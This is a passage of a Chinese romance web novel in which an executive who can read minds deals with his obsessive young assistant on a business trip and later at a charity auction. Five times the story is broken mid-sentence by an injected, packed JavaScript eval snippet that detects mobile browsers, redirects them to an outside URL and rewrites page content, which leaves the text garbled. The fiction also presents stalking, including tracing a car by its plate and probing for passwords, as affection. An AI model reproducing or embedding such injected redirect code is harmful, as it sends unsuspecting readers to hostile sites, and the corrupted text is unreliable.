季时昱已然打开了车门,没能听到他的心里话,摇头道:“没有。” 他下了车往外走。 闻湫下车,关好车门,站在车旁没动,漆黑晦涩地目光如湿濡阴冷的蛇信子,上下扫视着出了车库的背影,越看越喜欢,笑道:“昱哥,我买了好多食材,你晚上想吃什么啊?” “随你发挥。”季时昱转弯消失在闻湫视线里。 事实证明,闻湫不仅很会做饭,他的厨艺还非常符合季时昱的胃口。 这顿晚餐没有出现任何让季时昱忌口的食物,色泽鲜艳,味道诱人,像是专门按照他的味蕾做出来的。 他吃得差不多了,接到了季老爷子打来的电话,拿着手机进了书房。 等他出来,闻湫已经刷好了碗筷。 “下次留着,让家政来处理。”季时昱倒了杯温水。 闻湫:“有洗碗机,我只是随便收拾一下,很快的,你让家政来还要等,放在那里都有味道了。” 这么说倒也是。 季时昱沉吟道:“会给你另算薪水。” 闻湫微微歪头,眼中参杂着几分笑,“哥哥,你真的很喜欢拿钱说事。” 季时昱手一顿,因这声‘哥哥’皱了下眉,仰头喝下水杯里的温水,玻璃杯啪嗒一声放到桌上,“就这样说定了,以后别乱叫。” 他转身往书房走,反手关好身后的房门。 那声哥哥提醒了季时昱,他一开始打算避着闻湫,没想到闻湫总能找到办法出现在他眼前,他没有强行躲避,那样太影响他的生活节奏了。 他现在唯一的要求是,所有的发展只要偏离了原剧情就好。 季时昱待在书房里忙工作,不知道闻湫放轻脚步来到了书房外。 闻湫抬起手,手指摸着光滑没有任何纹路的纯色木门,垂下的眼睫毛又长又直,在眼下打出了一片阴翳。 没关系,来日方长。 季时昱和闻湫在国外待了整整一周,分部高层的坏虫相继拔除,他从总部调来了几个人接任一些职位,还有些是从其他部门升上来的。 公司迎来了大换血,可惜业绩跟不上。 季时昱来这里不是为了看分部倒闭,他接下来有两个重要合作要谈,谈完合作即可回国,他问闻湫有没有想要带回去的品牌,可以抽时间去买一下。 在他记忆里,关秘书会买很多送给家人。 闻湫为难低下头,道:“哥哥,我的卡被家里停了,没钱买啊。” 【我妈给的那张卡停几个月了,还好我自己卡里的钱够照顾哥哥好几辈子。不过我要在哥哥面前装可怜,这样才能引起他的注意力。】 季时昱抿了抿唇,点头,“你先出去吧。” 晚上十点左右,岳裎联系了他,问:“你劝了吗?” 季时昱:“还没。” “他家里人给他打电话没人接,一天到晚的问我话,我又不好发脾气。”岳裎叹声气:“我也不想麻烦你,问题是你们在国外,我抽不出时间去找他,不然肯定亲自劝他。” 两个人聊了一会儿才挂电话。 季时昱看着熄屏的手机,抬手按了按太阳穴。 闻湫的父母想让闻湫今年回家过年,岳裎拜托他劝一劝。 他没有想好该如何劝,如果不是岳裎再三联系他,他不会管这种事。 第二天中午,季时昱站在办公室门口看着闻湫,在想怎么开口。 他站太久了,久到闻湫看到了他,拿着一份文件朝他走了过来。 “季总,怎么了?”闻湫在公共场合一直称呼季总,没人的时候才喊哥。 季时昱敛眸,把事情往岳裎身上推,“你家里人拜托岳裎劝你回家过年,他把这事儿交给我了。” 闻湫神情有刹那凝固,很快恢复如常,“我知道了,但是我……” 季时昱:“有难处?” “我昨天跟你说了,我爸妈把我的卡停了,”闻湫声音很轻:“我没有钱回去。” 季时昱:“……”这算不上借口。 他看了眼前面好奇看过来的员工,说:“我可以让关秘书帮你改成回S市的航班。” 闻湫沉默了。 季时昱正要说‘实在不想回就找家里说清楚’,话未出口,看到闻湫点了点头。 “哥哥都开口了,那我就回去,不过我要先回A市一趟收拾行李,后面回家的钱我可以问我爸要。”闻湫抬起眼睛看着季时昱,一副‘哥哥你看,我很听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814615|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话’的乖巧模样。 他们站在办公室外,季时昱听不到闻湫的心声,但他能看出闻湫此刻在想什么,同时捕捉到那双发亮的眼底深处闪过一丝阴郁。 那不是对他的情绪,而是闻湫对家的反感。 下午要谈一场合作,地点是合作商定的,开车到了约谈的地点,看见对方已经到了。 季时昱坐下,开口说起今天的合作。 两个小时后,对方站起身,友好伸出手,“季先生,合作愉快。” 季时昱起身,回握了一下,“合作愉快。” 晚上还有场定在小型酒庄的合作约谈,对方独自一人没带助理,话里话外透露着要跟季时昱单独聊聊的意思,季时昱便让闻湫在外面等待。 闻湫不情愿地出去了,走之前看了那个人一眼,眼神阴狠发冷,在对方回望过来的前一刻转过了头。 今晚的合作和下午谈得一样顺利,但合作商是个酒鬼,对酒尤为喜爱,不然也不会约在这里。 季时昱不可避免地多喝了两杯,结束时,人已经接近醉酒状态。 对方喝得走不成路,被秘书搀扶着离开。 季时昱出了酒庄,步子有些飘忽不稳,他站在门口缓了缓。 一辆车开到他面前停下。 闻湫走了过来,宽大的手掌稳稳托住了他的手臂,“哥哥,你喝醉了,我扶你上车。” 季时昱想纠正这个称呼,胃里忽然一阵难受,抿了抿嘴巴没吭声。 闻湫扶着他上车。 季时昱坐在后座,头靠着椅背微微扭头,微睁的眸子看到扶着他的手,视线被修长的手指吸引。 在那只手离开前,他反手抓住了。 “哥哥?”闻湫晦暗的眼底划过惊喜。 季时昱是醉了,但没到糊涂的地步,微怔一瞬,松开了手,“明天喊我起床。” 根据往常醉酒的经验,他不确定明天能否被闹钟吵醒,他们要赶明天早上的飞机。 闻湫听他说这种无关紧要的事,眼神暗下去,“我知道了。” 季时昱闭眼休息。 闻湫关好车门,去前面开车。 车开到住宅后,季时昱能自己走路了,他对来扶他的闻湫摆了摆手,“不用,我能走。” 闻湫顿了顿,仍旧走过来扶住了他。 季时昱想把手往外抽,才动了一下,抓着他手臂上那只手骤然收紧。 “哥哥,你喝多了,脸好红啊,”闻湫皱起眉头,担忧道:“我不放心你一个人走,万一摔了怎么办,你就让我扶着吧。” 21. 不想分开 季时昱很困,大脑思考的有些慢,没想那么多,任由闻湫扶着往车库外走。 进屋的那扇门是指纹锁,可以输入密码。 季时昱用指纹开门的刹那,闻湫脑中闪过一个问题,他垂目看着季时昱红透了的耳垂,明知道人没有醉糊涂,还是想试一试能否炸出来什么。 “所有的密码都一样吗?”他这么问。 季时昱困得不想开口,没有吭声。 没有套出什么,闻湫也没失望,扶着人到了卧室门口才松手。 在季时昱关门时,他用一只脚抵住了门板,问:“哥哥,如果铃声都没用,我喊你起床就有用吗?” 季时昱头晕,懒得思考那么多,道:“我不锁门,你直接进来喊我。” 闻湫眼眸微闪,撤回了挡着门的脚,“那就好,这样我们就不怕误机了。” 关门的前一刻,闻湫又喊住了他。 “哥哥。” 季时昱因为太困,抬起的眸中蒙了层很浅的水雾,“还有事?” “你头发上有东西。”闻湫抬起手臂,手指在他头发上拨弄两下,拿下两面闪着光的小亮片,举起来看了眼,“好像是酒庄门口的装饰品。” “嗯。” “哥哥晚安。” 季时昱关好门,背靠着门按了按太阳穴,等头没那么晕了,抬起脚步往里走,脱下大衣,推开浴室的门进去。 没过多久,浴室里传来哗哗的水流声。 客卧。 闻湫嗅着手上残留的洗发水清香,依依不舍地放在水龙头下面冲洗。 他周身围绕着一股令他着迷的冷冽淡香。 扶季时昱时,他们的身体有一瞬间贴在了一起,味道是那个时候沾上的。 除了洗衣液的味道外,还有另一种离近了才能闻到的香味儿。 “哥哥怎么哪都是香的。” 客卧的灯直到很晚都没有关。 第二天一早,季时昱是被轻轻晃醒的。 他闭着眼睛,慢悠悠地侧过身,几番挣扎之后才睁眼。 闻湫正拿着他手机关铃声,低头对上他的眼神,笑了下,“哥哥,该起床了。” 季时昱眼神有些发怔,很快反应过来是怎么回事儿。 他睡觉有穿睡衣的习惯,由于刚醒的缘故,睡衣不规整,宽大的衣领有点歪,再加上侧睡,在某个角度甚至能看到里面被睡衣掩盖的风景。 闻湫盯着他的领口,喉结微动,强迫自己移开目光,“车快到了,我们待会儿要去机场。” 季时昱闭了闭眼,轻嗯一声,“你去外面等我。” “好。”闻湫声音微哑,应声后转身往外走。 等屋里的门被关上,季时昱缓慢地从床上坐起身,宿醉后脑袋很痛,像是有人在不断拉扯脑中的筋脉。 假如没有人喊他,他睡到下午都醒不过来。 门外。 闻湫坐在客厅,瞳孔黑得不像话。他喊了季时昱好几声不见反应,迫不得已伸手将人晃醒,皮肤的滑腻触感在指尖消散不去,心里泛起了一阵痒意。 他指尖动了动,对那个触感有点上瘾了。 闻湫等了十分钟左右,卧室里的人出来了。 季时昱穿了身很正规的黑色西装,领带打得整洁,宽肩窄腰,西装裤包裹着的双腿笔直修长,手臂间抱着一件黑色大衣。 他皮肤白,眉眼漂亮,冰冷镜片后的目光却寒冷凌厉,浅色的嘴唇微抿着,显得有几分不近人情。 闻湫喉咙有点干,傻坐在那没动。 “愣着干什么?”季时昱拉着行李箱,“走了。” 闻湫起身,眼神炙热地跟在他身后。 送他们去机场的车早已在外面等候,车里的人看到他们出来,下车帮忙搬行李。 “齐远骏家里人今天有去闹吗?”季时昱问。 搬行李的人点点头:“去了,没进门就被保安带走了,他们还在外面喊嵘总的名字,需要联系嵘总吗?” “不用了,他现在可没有心思管这些事。” 季时昱知道季帆嵘身在A市,不出意外,近几个月都会留在A市,哪也去不了。 这边的大部分问题跟齐远骏脱不了干系,齐远骏不是什么无私的人,发现自己摘不出去了,立马把老朋友一起拉下水。 现在正是齐远骏和季帆嵘隔空狗咬狗的时候。 季时昱想到这些,心情豁然,看着外面沿途的风景,嘴角弯起一丝弧度。 闻湫始终没有说过一句话,艰深晦涩的目光停留在季时昱身上,在某个瞬间显得焦渴难耐。 季时昱有所察觉,没当回事。 反正也不是第一天这样了。 登机前,闻湫走在季时昱身后,盯着前面柔软的发丝,视线下移,是一截白皙的后颈,再往下被大衣掩盖。 他想起大衣里面非常正式的穿着,妒意在眸中划过,“哥哥,你回国后,是要去见什么人吗?” 不管是在国内还是在国外的这些天,季时昱的穿着基本以舒适为主,他很少见到季时昱穿成这样。 清冷又矜贵,给人一种很强烈的疏离感。 越是没办法触摸,越是想要上前得到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814616|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯,有点事。”季时昱伸手,从他手里拿商务包,“我自己拿。” 闻湫强硬握着,没有松手,“我来就好了,这是我的工作。” 季时昱转过头,“随你。” 闻湫敛起眸光,语气如常,“你要去见谁?” “赴一个朋友的邀约。”季时昱有位朋友邀请他参加一场拍卖会,当然要穿正装。 闻湫听到朋友两个字,急了,“什么朋友?” 季时昱:“普通朋友。” 闻湫脸色微沉,黑眸深处浓稠的不像话。 季时昱察觉到身后的不对,蓦地停下脚步,回头。 “哥哥,怎么了?”闻湫面露迷茫,跟着回头看了眼。 “你……”季时昱踌躇片刻,摇头,“没事。” “哥哥,”闻湫单手拎着公文包,眉眼透着几分阴沉,轻声细语地问:“你朋友多大啊?他结婚了没?有对象吗?脾气怎么样啊?” “哥哥你怎么不理我,是我说错话了吗?” “说多少次了,别喊哥哥。”季时昱觉得‘哥哥’太暧昧了,听着很怪。 闻湫蹙眉:“你很讨厌我这样喊吗?” 季时昱:“……倒也不是。” 算了,爱怎么喊就怎么喊吧,他又少不了一块肉。 他们回国的位置相邻,闻湫只要扭头,就能看到季时昱。 飞机起飞,季时昱拿出了一次性眼罩戴上,把座椅微调到一个舒适的程度,拉下眼罩闭眼休息。 他晚上没睡好,在这个长达十多个小时的航班里,全程补觉。 飞机抵达A市的机场,国内正处于上午八点钟,季时昱的车还停在机场,他没有让人来接机。 “我先送你回去,这半个月的薪水我让财务部提前打给你。”季时昱看了眼后视镜,转动方向盘倒车。 年后不久就要开学了,闻湫在开学前暂时不会来季氏工作了。闻湫没说原因,可能和他家里有关。 闻湫坐在副驾上,兴致不高地点头。 【好困。】 A市比较冷,车窗紧闭又拉着暖气,温暖窄小的车里让人困意更甚。 季时昱看闻湫精神状态那么差,问:“在飞机上没睡?” 闻湫摇了摇头,精神不振,“睡不着。” 【要分开了,睡不着,好难受。】 【舍不得分开,不想分开。】 国外单独相处那么久,季时昱对闻湫的心声已经免疫了。 【看了哥哥十三个小时,不舍得睡觉。】 季时昱:“……”没完全免疫。 22. 别装睡了 季时昱看着前面仅剩几秒的红灯,决定少跟闻湫说话。 他话少了,闻湫又不乐意了。 “哥哥,你不喜欢我这样喊你,总要给我个理由吧。”闻湫不想被他冷落,没话找话。 “你为什么这样喊我?”季时昱没给出理由,只问出疑问,哪怕隐约猜出了原因。 “我听人说,喊哥哥容易拉近关系,我想跟你走近一点,”闻湫语调中带着暧昧的撒娇意味,“毕竟我毕业后想留在季氏。” 【留在哥哥身边,永远待在一起。】 【要是哥哥能像书里那样把我关起来就更好了,不要佣人不要保镖,别墅里只有我们两个人,想想就好爽。】 季时昱抿嘴,抬起手轻敲着方向盘,在前面红灯变绿的那一刻握紧,跟着前面的车辆慢慢前行离开。 “跟老板搞好关系的办法有很多种,不用喊那么亲密。”他态度不咸不淡,仿佛没听出闻湫话里的暧昧。 闻湫点头,一副受教的表情,“嗯嗯,我知道了。”他秉着‘我错了,我还敢’的态度,在心里加了句话。 【以后还喊哥哥,就喜欢喊哥哥。宝宝太腻歪了,我也不敢喊,还是哥哥这个称呼好。】 季时昱对比了一下,‘哥哥’这两个字都衬得没那么难以接受了。 车开到闻湫所居住的那栋楼下,车里迟迟没有动静。 季时昱偏头,发现闻湫靠着车窗睡着了,轻唤道:“闻湫。” 闻湫没有任何回应,连心声都没传出来,看来是真睡着了。 季时昱盯着闻湫的侧脸看了一会儿,伸手推了推副驾的人。 第一下没有推醒。 他将手搭在闻湫肩膀上,稍微用力拍了两下,依旧没醒,但不该出现的声音已经出现了。 【唉……要分开了,好舍不得。】 【哥哥的手好香,他到底用的哪款香水,为什么我找不到。】 季时昱收回手,盯着自己的手掌若有所思,嗓音冷淡:“别装睡了,下车。” 他不用香水,手上应该是沐浴露的味道。是私人订制款,他闻着舒服,近两年一直用这款,没有换过,只摆放在他的主卧,客卧是收拾房间的家政在商场里买的。 【哥哥怎么知道我醒了,我演得很差劲吗?】 即便知道暴露了,闻湫仍旧一演到底,睫毛颤了颤,缓慢地睁开眼睛,扭脸看到季时昱,语气困惑好似还没反应过来,“哥哥?” 季时昱直视前方,没有看他,“到了。” 闻湫哦了声,最多两秒就能解开的安全带,他装作手滑没按住,硬生生拉迟到半分钟,知道再演下去会穿帮,车门开得很利索,下车后绕到后备箱去拿行李。 季时昱脑中的声音在闻湫开车门时消失,轻啧了声,通过后视镜观察着后面的人,看他还有没有别的小动作。 闻湫戏演得很好,若不是因为读心术,可能真被骗过去了。 就如现在,闻湫从车里搬下行李箱,弯身在后备箱找背包,随后拉开背包的拉链翻了几下,突然‘咦’了声,抬头说:“哥哥,我耳机不见了,你帮我看看有没有落在前面。” 季时昱往副驾看去,一眼看到座椅边上的白色蓝牙耳机,差一点点就掉进缝里了,他严重怀疑这是闻湫下车前故意放在这里的。 闻湫关了后备箱,拉着行李箱和背包来到驾驶位的车窗旁,问:“哥哥,有吗?” 季时昱颔首,指尖按了个按钮。车窗下移,他将耳机递过去,“这个?” “对,谢谢哥哥。”闻湫笑着接过。 季时昱拿着耳机尾部那一端,闻湫只需要捏住头部即可,但闻湫直接捏住了耳机所剩的前半端,他们的指尖不可避免地碰到了一起。 季时昱收回手,下意识搓了搓指尖,没想到闻湫的手像冰块一样凉。 闻湫戴上耳机,又叫了他一声。 季时昱眼皮微抬,“还有事?” “我上去了。” 季时昱轻嗯一声。 “再见。”闻湫笑着跟他挥手,单手拉着行李箱进了前面的那栋楼,进去后抬起胳膊,冰凉的指腹轻轻摸着自己的唇瓣,鼻尖萦绕着令他着迷的味道。 楼外,季时昱接了个电话才开车离开。 闻湫站在楼梯间窗前,看着那辆车彻底消失在转角,在微信里翻出个联系人,给对方发了一串车牌号。 【查一下车牌号的车去了哪里。】 对面秒回一个‘OK’的手势。 哥哥到底是去见谁呢,好在意啊。 闻湫收起手机,去楼上放行李,期间接到了家里的电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814617|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “接你的时间。”亲哥冷漠的声音通过手机话筒传出来。 闻湫说了到S市的时间,话音刚落地,对面迅速挂断了电话。 上午九点,A市街道的车辆来往不断,许多道路陷入堵车状况。阳光刺眼,寒风却如刀刃一般刮在脸上。 季时昱把大衣留在车里,下车碰见了同样来参加拍卖会的熟人。 这是场私人拍卖会,举办者是A市有名的慈善家,季时昱和他只算是最普通的朋友,因为这是场慈善拍卖才答应来的,今晚到场的人多数为A市上层人士。 拍卖会现场分为三楼,一楼的大厅主要展示拍卖物件,二楼三楼分别是代表身份的贵宾室。 二楼贵宾室是四到六人间,主办方会打听贵宾之间的关系,从而把几个人安排在一起。 三楼贵宾室如套房一样大,每间安排了两位贵宾入座,共有8间房,每间房里安排的贵宾都是在A市地位不容小觑的人物。 所有房间围绕着拍卖现场,一楼大厅的最中间是一个可以升降的高台,届时可以让所有贵宾看清拍卖的物品。 季时昱停留在拍卖会门口,将邀请函递去,身穿旗袍的礼仪小姐看到他的邀请函,态度恭敬地带他去了三楼2号贵宾室的专属私人电梯。 金色镜面电梯门向两边打开,他走了出去,一眼看到早就落座的岳裎,他的位置安排在岳裎旁边。 岳裎看到了他,笑着挥了下手。 季时昱走过去,坐下,“来多久了?” “比你早十分钟。”岳裎今天穿得堪比孔雀开屏,头发喷了很多发胶,向上梳理成大背头,他懒散靠着座椅,“听说你这次出国,只带了闻湫一个人。” 岳裎昨天才知晓关秘书没跟着,不是他喜欢乱想,而是季时昱对闻湫的态度有点怪,闻湫对季时昱的关注度更怪。 他之前没意识到不对,昨晚上和柳今需吃了顿饭,聊了点关于闻湫的事,整个人仿佛被点醒了。他说不上来那种异样,就觉得季时昱和闻湫之间,好像发生过他不知道的事一样。 季时昱轻轻“嗯”一声,没否认岳裎的话。 “看来他能力确实不错,你都肯单独带他出差了。”岳裎没有把那份异样想得太暧昧,晃了晃手机,“他刚刚给我打了电话,问能不能来找我。” 23. 你不对劲 服务生端着红酒推门而入,将托盘放到屋内的桌上,拿起开酒器开了瓶红酒,姿势标准地拿起酒瓶倒酒,屋内弥漫着淡淡的红酒香味儿。 季时昱偏头扫了眼桌上的酒,问岳裎:“你怎么和他说的?” “添个位置的事儿,我当然答应了。”岳裎顿了顿,问:“你很讨厌他?” 季时昱又一次听到这种问题,无奈摇头:“没有。” 岳裎:“那为什么……” 季时昱打断他的话:“前段时间有人看到我带人回老宅见家长了,你知道那个人是谁吗?” “哈?这不是别人瞎传的嘛!”岳裎盯着季时昱看了半晌儿,脸色有点难看,“不会是闻湫吧。” 季时昱:“是他,但不是他传的。” 岳裎:“那你提这事儿干嘛。” 季时昱将整件事完完整整讲了一遍,包括闻湫给朋友过生日那天,理直气壮地指责别人涉及小三行为的事。 岳裎听完,愣了好久,“你没骗我?” 季时昱笑了声,“我有人证,你可以听他们怎么说。” 岳裎深呼吸,略有些咬牙切齿道:“这小子深藏不露啊,表面装得跟个不谙世事的小白花一样,背地里居然胡说八道!” 他对闻湫的印象是‘跟家里关系不好,但非常听话的乖小孩’,谁知道全是装的! “跟你提个醒罢了,省得你接着被骗。”季时昱并非是厌恶闻湫,而是岳裎什么也不知道的模样有点惨。 岳裎消化了好一会儿,用一种探究地眼神打量季时昱。 季时昱:“我脸上有字?” 岳裎:“我觉得你有点过于在意闻湫了。” 季时昱:“这话怎么说?” 岳裎严肃道:“换个人在你面前耍这些花招,那个人早在A市混不下去了,结果闻湫呢,你都允许他跟你一起单独出差了!” 季时昱瞥他一眼,“你想多了,况且他出身不差,我也不是□□。” 他是在意闻湫,但这个在意的点和感情无关。 而是怕他和闻湫走回原文那条线,再加上有读心术的存在,一个正常人经常听到另一个人的心声,怎么可能不在意,关注度都被吸引过去了。 岳裎舌尖顶了顶腮帮子,换了个说法,“如果我和闻湫掉进海里了,你救谁?” 季时昱气笑了,“我一句话,有的是人下去救你们。” 岳裎恍然大悟:“你的意思是,我和闻湫之间,你选不出来。” 季时昱:“?” 这是什么说法? “季时昱,我们认识二十多年了,你跟闻湫才认识多久,你在我和他之间都选不出来,”岳裎放低声音,“你不对劲。” 季时昱懒得跟他掰扯了,“谁能有你想得多。” “呵呵,看你能假正经到什么时候。”岳裎看了眼手机,站起身,“我出去接他,一会儿让他坐你旁边。” 季时昱头痛:“你怎么不让他坐你旁边?” 岳裎:“其实那是你的位置,你现在坐的是我找人添的位置,你非要坐这儿,闻湫不就只能坐你那儿了。” 季时昱:“……” 过了将近十分钟,岳裎带闻湫来了。 闻湫看到季时昱,小心掩饰着眸底贪婪的欲念,装作碰巧一般睁大眸子,表情惊讶自然,“昱哥,好巧啊,没想到会在这里碰见你。” 季时昱颔首:“是挺巧。” 他前脚刚到,闻湫就紧跟着来了,看来下车不久就找人调查他的行踪了。 “你坐时昱旁边。”岳裎指着安排好的位置。 闻湫点点脑袋,很乖巧地坐了过去。 岳裎坐在自己位置上,难以形容此刻复杂的心情。 他心里‘单纯腼腆听话’的表弟,实际上不单纯不腼腆,听不听话尚且没法判定,但他确定闻湫很会扮演乖小孩。 太魔幻了,他还是不太相信闻湫的乖乖模样是装出来的。 季时昱看岳裎心不在焉的,一副没能完全缓过来的模样,再看闻湫,正在目不转睛地盯着他看,发现他看过去,还对他眨了下眼睛。 他敛下目光,拿出手机看了眼时间。 为了方便贵宾进行拍卖,入座的位置面对着拍卖现场,前面有半人高的檀木护栏围着,两旁是能够遮住视线的帘子,里面的服务生早在贵宾来之前就把帘子拉开了。 因此,许多人都看到了2号贵宾室多出来的人。 闻湫是这里的生面孔,进来后收获了许多好奇探索的目光,他安安静静待在季时昱身边,似乎没有发现别人看他的眼神。 在场没人往龌龊地方想,今天这种场合的拍卖会,所有人默认不带情人,大家之所以那么看闻湫,是在好奇他是哪家的人,毕竟年年都有年轻人出国留学,几年后再回来继承家业。 闻湫是被岳裎带进来的,又坐在季时昱身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814618|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,众人不可避免地往身份不简单那个方向想。 距离拍卖会正式开始还有半个小时,服务生走进2号贵宾室,恭敬说道:“季总,外面有位姓吴的先生想见您一面。” “吴?”岳裎好奇,“谁啊?” 季时昱摇头,“不认识。” 岳裎了然:“不见,让他走。” 服务生转身出去,没过多久再次进来,知道坐在里面的人身份尊贵,忐忑道:“季总,那位先生说他跟您父亲认识。” 岳裎啧了声,转头看着季时昱,“你不是都‘带人回去见家长’了吗,怎么还有人逮着你不放?” 往常这种场面,基本是某位老总带着适龄的孩子来攀附的。 闻湫听到这话,眼眸微闪。 季时昱皱眉扫视一圈,发现了其他人看闻湫的眼神,意识到这次不是冲他来的。 有些人就是这样,不舍得放弃任何一个有可能向上爬的机会。 回头看到服务生为难的模样,知道外面的人说了不好的话,他见过太多这样的场面,没必要把无辜的人牵扯进来。 “让他进来。”季时昱淡声说。 “好的。”服务生松了口气,去外面传话。 不多时,服务员口中姓吴的先生进来了,身边站着一个的青年,看样子应该是他儿子。 青年看到闻湫,眼睛不自觉睁大。 闻湫无辜眨了眨眼睛,微微一笑。 “岳总,季总。”吴总打过招呼,笑着说起了跟季时昱父亲有关的事,是几年前的事了,难为他能记到现在。 季时昱无聊听着,觉得很没意思。 直到吴总不经意问了句,“季总身边这位是?” 岳裎嘴角微勾,坐在那儿看好戏。 季时昱:“弟弟。” “哦,原来是二少啊,幸会幸会。”男人推了推身边的儿子,“快跟二少打个招呼。” 岳裎哼笑一声。 吴总这是把闻湫误会成季忱了。季帆嵘人不行,但圈里人都知道季忱和季时昱关系不错。 岳裎心想,闻湫整天跟在季时昱身后喊哥,怎么不算弟弟呢。 没人会愿意被别人误认成其他人,闻湫也一样。他不主动解释,反而当着吴总的面伸出手,轻轻捏住季时昱的衣袖晃了两下。 这做法就不对劲。 试问谁家弟弟这么大了,还当着外人的面拉住哥哥的袖子撒娇? 24. 一股茶味 吴总看傻眼了,他儿子不满咬了下嘴巴,没敢说话。 “这……”吴总干笑着,有点不知所措。 季时昱没解释,给了岳裎一个眼神。 岳裎失笑道:“吴总误会了,这是我表弟,他不A市人。” 闻湫配合点头,往季时昱那边靠了靠。 “这样啊。”吴总得知不是A市人,脸色不太好看,伸着脖子往对面二楼的贵宾室看,讪讪道:“那个,季总,岳总,我看到个老朋友,先失陪一下,您二位接着聊。” 吴总拽着儿子的胳膊一起离开。 什么看到个老朋友,明显是发现闻湫不值得攀附,在这儿待不下去了。 季时昱和岳裎看破不说破。 吴总的儿子进电梯前回头,狠狠瞪了闻湫一眼。 闻湫不经意地伸了伸胳膊,手臂搭在了季时昱背后的椅子上,营造一种半搂着季时昱肩膀的假象,实则并没有碰到。 他们离得很近,他呼吸时能闻到季时昱身上的味道,那股味道对于他来说特别勾人,差点失了智埋进季时昱颈肩中深嗅一口。 季时昱察觉到不对,微微侧头,拉着椅子往岳裎那边挪了下。 岳裎不明所以:“你离我这么近干什么?” 季时昱:“这也近?” 他们之间隔了一米多。 闻湫眼神紧巴巴地粘着季时昱,说:“哥哥,要不你往我这边挪一下,我不嫌近。” 季时昱:“……” “……我也不嫌近。”岳裎没说嫌弃,就问了句。 好重的一股茶味儿,明明说话方式没变,他以前怎么没发现。岳裎琢磨了半天,蓦地抬头看向闻湫,“你刚刚叫时昱什么?” 闻湫歪头,一脸无辜:“叫昱哥啊,有什么问题吗?” “哦,没问题。”岳裎掏了下耳朵,“可能是我听错了。” 季时昱:“……” 闻湫:“肯定是你听错了。” 岳裎没注意闻湫,想起带儿子匆忙离开的吴总,摇头叹气,对季时昱说:“我们俩一样大,那些老家伙快把我当成透明人了,谣言真是害人不浅。” 两年前,岳裎也是被众人攀附的对象,大家知道他性取向,往他身上扑的男孩不少。 有一年传出小道消息,说他不太行,为了满足身心,喜欢会对另一半用点小道具。圈里正常人还是很多的,喜欢攀附但不想受苦,那些人下意识就躲着岳裎走了。 季时昱听说过那些事儿,轻笑了声:“你自己不澄清,能怪谁?” 岳裎:“澄清了啊,结果没人信。我有个朋友跟我要证据,这种事我怎么拿证据,总不能随便找个人试试,我到现在都没忘记我前男友,对别人没那心思。” 季时昱:“没那么多人烦你,挺好的。” 岳裎扶额:“是挺好的,我这张脸也丢光了。” 闻湫插不上话,悄悄盯着季时昱白皙的侧颈看。 电梯内。 吴总想着季时昱身旁的那个男生,后知后觉明白了什么。同一时间,儿子的声音在耳边响起。 “爸,季总旁边那个是他男朋友?” 吴总点头,说:“别打他的主意,咱们不能破坏人家的感情。” “哦。”吴小少爷低落应声,敛起的眼珠子转了半圈。 二楼贵宾室。 吴小少爷跟贵宾室的其他长辈打过招呼,坐在安排好的位置上,抬起头,往对面比较靠上的房间看了一眼,措不及防对上闻湫的眼神,阴郁冰冷,犹如被带着巨毒的蛇蝎盯上。 他顿时打了个激灵,嘀咕道:“装什么啊,在学校也没见他这么会演。” 吴总:“你说什么?” 他摇头,“在想学校的事。” 三楼。 岳裎和季时昱说着圈内的新鲜八卦,后者漫不经心地听着,偶尔发表自己的意见。 闻湫敛下目光,注视着季时昱的手指。 这时,一楼大厅穿着燕尾服的人走到中间正方形的台子上,台子往上升起,升起到一定高度停下,往下是一层层可以下去的台阶。 高台中间是一个摆放物品的台子,如正常演讲台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 